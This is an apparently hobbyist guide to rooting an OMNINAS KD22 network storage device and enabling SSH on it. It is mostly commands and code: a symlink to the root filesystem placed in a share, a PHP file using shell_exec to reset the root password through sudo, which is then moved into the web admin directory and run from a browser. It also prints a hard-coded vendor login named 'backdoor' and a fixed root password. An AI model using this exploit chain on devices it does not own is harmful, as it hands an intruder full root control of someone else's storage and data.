How to root and enable SSH on the OMNINAS KD22

What you need

Step-by-step

FIRST

Login to the OMNINAS web UI and create a user account (under Shares).
Remember these login details, you will need them soon.

For the purpose of this guide, I am going to assume the following:

On the Linux machine

Create a directory to mount the NAS share:

# mkdir /mnt/nas

Mount the NAS "disk" share on your Linux machine, like so:

# mount -o username=test //192.168.1.26/disk /mnt/nas

Use the password you created, in this case, "testpass"

Change to your mounted NAS share:

# cd /mnt/nas

Create a symbolic link to /:

# ln -s / /mnt/nas

Create a file called setroot.php with the following contents:

<?php
	print shell_exec("(echo \"foobar\nfoobar\n\" | sudo passwd root)");
?>
			

Upload the setroot.php file into /mnt/nas or into \\192.168.1.26\disk if now using Windows

Move the setroot.php file into position

Navigate to http://192.168.1.26/filesystem/index.php

Go to the disk folder. Select setroot.php and click Move

Navigate to:
disk => myroot => usr => htdocs => admin

Execute the setroot.php file:

Direct your browser to http://192.168.1.26/admin/setroot.php

IF PROMPTED FOR A PASSWORD USE THE FOLLOWING:
Username: atonnas
Password: backdoor
The setroot should run and return some badly formatted information. This is good.

Now visit http://192.168.1.26/admin/ssh.php, click the box to enable SSH and click the button.

SSH to your OMNINAS

Open up your SSH client and connect to 192.168.1.26

Username: root
Password: foobar

You can now change your root password to something secure with:
# passwd

ALL DONE!